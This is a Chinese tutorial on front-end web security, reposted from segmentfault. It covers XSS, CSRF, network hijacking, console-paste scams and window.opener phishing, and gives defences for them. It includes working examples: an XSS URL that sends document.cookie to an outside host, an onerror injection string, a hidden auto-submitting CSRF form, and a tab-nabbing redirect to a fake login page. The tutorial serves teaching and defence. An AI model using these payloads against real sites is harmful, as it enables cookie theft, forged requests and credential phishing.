1.XSS跨站脚本攻击(Cross Site Scripting)

1)通过<script>

举个例子:通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:

book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

这样我们就可以获取别人的cookie信息了

2) 能过append

  1. <?php
  2. $username="\u003cscript\u003ealert('okok');";
  3. ?>
  4. <!DOCYTPE HTML>
  5. <html>
  6. <head>
  7. <meta charset="utf-8" />
  8. <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
  9. </head>
  10. <body>
  11. <div>
  12. 用户名:<?php echo htmlentities($username);?>
  13. </div>
  14. <div>
  15. 第一条状态:侯医生的状态1
  16. </div>
  17. <div>
  18. 第二条状态:侯医生的状态2
  19. </div>
  20. <div>
  21. 第三条状态:侯医生的状态3
  22. </div>
  23. <div>版权所有:<span id="username_info"></span></div>
  24. <script>
  25. $('#username_info').append("<?php echo htmlentities($username);?>");
  26. </script>
  27. </body>
  28. </html>

这样能过echo还是可以执行对应的脚本的

3)能过Img标签

在加载图片失败的时候,会调用该元素上的onerror事件。我们正可以利用这种方式来进行攻击。

  1. <?php
  2. $username="<script>alert('侯医生');</script>";
  3. $imgsrc="\" onerror=\"javascript:alert('侯医生');\"";
  4.  
  5. ?>
  6. <!DOCYTPE HTML>
  7. <html>
  8. <head>
  9. <meta charset="utf-8" />
  10. </head>
  11. <body>
  12. <div>
  13. 用户名:<?php echo htmlentities($username);?>
  14. </div>
  15. <div>
  16. 第一条状态:侯医生的状态1,这个是图片:
  17. <img src="<?php echo $imgsrc;?>" />
  18. </div>
  19. <div>
  20. 第二条状态:侯医生的状态2
  21. </div>
  22. <div>
  23. 第三条状态:侯医生的状态3
  24. </div>
  25. </body>
  26. </html>

结果就是:

升级防御

看来,我们需要再次进行防御升级了,我们将输出的字符串中的\反斜杠进行转义(json转义)。这样,\就不会被当做unicode码的开头来被处理了。代码如下:

  1. document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

4)如果黑客在URL的这个参数中,加入js代码,这样便又会被执行

像这种从url中获取的信息,笔者建议,最好由后端获取,在前端转义后再行输出

  1. <script>
  2. var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
  3. $('#username_info').append(value);
  4. </script>

2.CSRF攻击

CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
其实就是网站中的一些提交行为,被黑客利用,你在访问黑客的网站的时候,进行的操作,会被操作到其他网站上(如:你所使用的网络银行的网站)。

原理:1、你在一个网站上登录过有cookie信息。2、你再访问别的网站进行操作的时候 ,这个网站向你之前的网站发送请求。

例如:你的代码

  1. <?php
  2. $username = $_COOKIE['username'];
  3. // 换为post了,可以规避黑客直接的提交
  4. $productId = $_POST['pid'];
  5. // 这里进行购买操作
  6. //store_into_database($username, $productId);
  7. ?>
  8. <meta charset="utf-8" />
  9. <?php
  10. echo $username . '买入商品:' . $productId;
  11. ?>

黑客代码如下:

  1. <!DOCYTPE HTML>
  2. <html>
  3. <head>
  4. <meta charset="utf-8" />
  5. <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
  6. </head>
  7. <body>
  8. <button id="clickme">点我看相册</button>
  9. <script>
  10. $('#clickme').on('click', function () {
  11. // 用户再不知情的情况下,提交了表单,服务器这边也会以为是用户提交过来的。
  12. $('#myform').submit();
  13. });
  14. </script>
  15. <form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php">
  16. <input type="hidden" name="pid" value="">
  17. </form>
  18. <iframe name="myformer" style="display:none;"></iframe>
  19. </body>
  20. </html>

预防这种的办法就是:

1.增加token验证.因为cookie发送请求的时候会自动增加上,但是token却不会,这样就避免了攻击

2.Referer验证。页面来源的判断

3.网络劫持攻击

很多的时候,我们的网站不是直接就访问到我们的服务器上的,中间会经过很多层代理,如果在某一个环节,数据被中间代理层的劫持者所截获,他们就能获取到使用你网站的用户的密码等保密数据。比如,我们的用户经常会在各种饭馆里面,连一些奇奇怪怪的wifi,如果这个wifi是黑客所建立的热点wifi,那么黑客就可以结果该用户收发的所有数据。这里,建议站长们网站都使用https进行加密。这样,就算网站的数据能被拿到,黑客也无法解开。

如果你的网站还没有进行https加密的化,则在表单提交部分,最好进行非对称加密--即客户端加密,只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。

4.控制台注入代码

不知道各位看官有没有注意到天猫官网控制台的警告信息,如图4.1所示,这是为什么呢?因为有的黑客会诱骗用户去往控制台里面粘贴东西(欺负小白用户不懂代码),比如可以在朋友圈贴个什么文章,说:"只要访问天猫,按下F12并且粘贴以下内容,则可以获得xx元礼品"之类的,那么有的用户真的会去操作,并且自己隐私被暴露了也不知道。

5钓鱼

钓鱼也是一种非常古老的攻击方式了,其实并不太算前端攻击。可毕竟是页面级别的攻击,我们也来一起聊一聊。我相信很多人会有这样的经历,QQ群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了,详情在我QQ空间里啦,之类的连接。打开之后发现一个QQ登录框,其实一看域名就知道不是QQ,不过做得非常像QQ登录,不明就里的用户们,就真的把用户名和密码输入了进去,结果没登录到QQ,用户名和密码却给人发过去了。
其实这种方式,在前端也有利用。下面,我们就来试试如果利用前端进行一次逼真的钓鱼。
1 首先,我们在xx空间里分享一篇文章,然后吸引别人去点击。

  1. <!DOCYTPE HTML>
  2. <html>
  3. <head>
  4. <meta charset="utf-8" />
  5. </head>
  6. <body>
  7. <div>
  8. 当前你在xx空间
  9. </div>
  10. <h1>侯博士的分享</h1>
  11. <section>
  12. 咱们班当年班花,现在长这样:
  13. <!--这是咱们的钓鱼网站-->
  14. <a href="http://localhost:8082/lab/fish/cheat.php" target="_blank">点我查看</a>
  15. </section>
  16. </body>
  17. </html>

2 接着,我们在cheat.php这个网站上面,将跳转过来的源网页地址悄悄的进行修改

  1. <!DOCYTPE HTML>
  2. <html>
  3. <head>
  4. <meta charset="utf-8" />
  5. <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
  6. </head>
  7. <body>
  8. 你想看的信息:
  9. xxxxxxxxxxxxxx
  10. xxxxxxxxxxxxxx
  11. <script>
  12. // 在用户不知情的情况下,对跳转的来源网页进行地址替换
  13. window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php';
  14. </script>
  15. </body>
  16. </html>

于是,在用户访问了我们的欺骗网站后,之前的tab已经悄然发生了变化,我们将其悄悄的替换为了钓鱼的网站,欺骗用户输入用户名、密码等。

引自https://segmentfault.com/a/1190000006672214

Web前端安全问题的更多相关文章

  1. web 前端安全问题

    转载自:https://segmentfault.com/a/1190000006672214?utm_source=weekly&utm_medium=email&utm_campa ...

  2. web前端面试试题总结---html篇

    HTML Doctype作用?标准模式与兼容模式各有什么区别? (1).<!DOCTYPE>声明位于位于HTML文档中的第一行,处于 <html> 标签之前.告知浏览器的解析器 ...

  3. Web前端名词释义及原理

    引言:看题目的时候,不要觉得这是一个很深奥的问题,Web前端这些东西很多就是叫的名字牛逼,其实原理很TM简单,也就那么回事. 一.javascript名词释义 1.啥是事件队列? 就是 弄一个数组,里 ...

  4. [转载]Web前端和后端之区分,以及面临的挑战

    原文地址:Web前端和后端之区分,以及面临的挑战[转]作者:joyostyle 在我们实际的开发过程中,我们当前这样定位前端.后端开发人员. 1)前端开发人员:精通JS,能熟练应用JQuery,懂CS ...

  5. web前端安全---读书笔记

    web前端安全---读书笔记 粗略的看完了Web前端黑客技术揭秘前两章了,由于自身的前端功力不深,当然也是初涉前端的安全问题,所以实话还是有些问题看不太明白的.在豆瓣看到的这本书,名字真心有点很肥主流 ...

  6. IT职场经纬 |阿里web前端面试考题,你能答出来几个?

    有很多小伙伴们特别关心面试Web前端开发工程师时,面试官都会问哪些问题.今天小卓把收集来的"阿里Web前端开发面试题"整理贴出来分享给大家伙看看,赶紧收藏起来做准备吧~~ 一.CS ...

  7. Web前端和后端之区分,以及…

    原文地址:Web前端和后端之区分,以及面临的挑战[转]作者:joyostyle 在我们实际的开发过程中,我们当前这样定位前端.后端开发人员. 1)前端开发人员:精通JS,能熟练应用JQuery,懂CS ...

  8. [转载]Web前端和后端之区分,以及面临的挑战【转】

    原文地址:Web前端和后端之区分,以及面临的挑战[转]作者:joyostyle 在我们实际的开发过程中,我们当前这样定位前端.后端开发人员. 1)前端开发人员:精通JS,能熟练应用JQuery,懂CS ...

  9. web前端经典面试题大全及答案

    阅读目录 JavaScript部分 JQurey部分 HTML/CSS部分 正则表达式 开发及性能优化部分 本篇收录了一些面试中经常会遇到的经典面试题以及自己面试过程中遇到的一些问题,并且都给出了我在 ...

随机推荐

  1. Java中的队列Queue,优先级队列PriorityQueue

    队列Queue 在java5中新增加了java.util.Queue接口,用以支持队列的常见操作.该接口扩展了java.util.Collection接口. Queue使用时要尽量避免Collecti ...

  2. My tool chain in CentOS 7

    - Git Client SmartGit http://www.linuxlinks.com/article/20120129035558195/GitClients.html candidates ...

  3. Druid数据库连接池配置

    DRUID是阿里巴巴开源平台上一个数据库连接池实现,它结合了C3P0.DBCP.PROXOOL等DB池的优点,同时加入了日志监控,可以很好的监控DB池连接和SQL的执行情况,可以说是针对监控而生的DB ...

  4. caffe网络模型各层详解(一)

    一:数据层及参数 caffe层次有许多类型,比如Data,Covolution,Pooling,层次之间的数据流动是以blobs的方式进行 首先,我们介绍数据层: 数据层是每个模型的最底层,是模型的入 ...

  5. VS中的活动debug和活动cpu

    “活动”的含义就是当前项目所用的模式和平台.项目中的”活动“继承于解决方案中的配置.

  6. logback

    logback:入口: private final static Logger logger = org.slf4j.LoggerFactory.getLogger(ServiceTest.class ...

  7. java 对EXCEL表格的处理

    都整蒙圈了 Cannot get a numeric value from a text cell 的处理,EXCEL表格里是数值型的处理 http://blog.csdn.net/ysughw/ar ...

  8. 函数指针_typedef

    一 函数指针 1 函数类型 函数的类型由它的返回值类型,和形参类型共通过决定,与函数名无关. eg:bool lengthcompare(const string&, const string ...

  9. PHP常用函数总结(不定期更新)

    array_merge函数和两个数组相加的区别 array_merge函数,在出现相同的索引数组,会把两个数组中的索引数组,进行融合,以第一个数组的索引最大值往后相加,如果是关联数组,后面数组的值覆盖 ...

  10. C# 系统错误日志处理类

    编写软件,难免会有一些异常,针对异常我们在实际的开发中相比都有一些,捕获异常的处理办法.把软件运行错误信息写成一个 错误日志文件很有必要.当我们在客户那边安装调试时就会更加快捷的,知道错误在哪里.否则 ...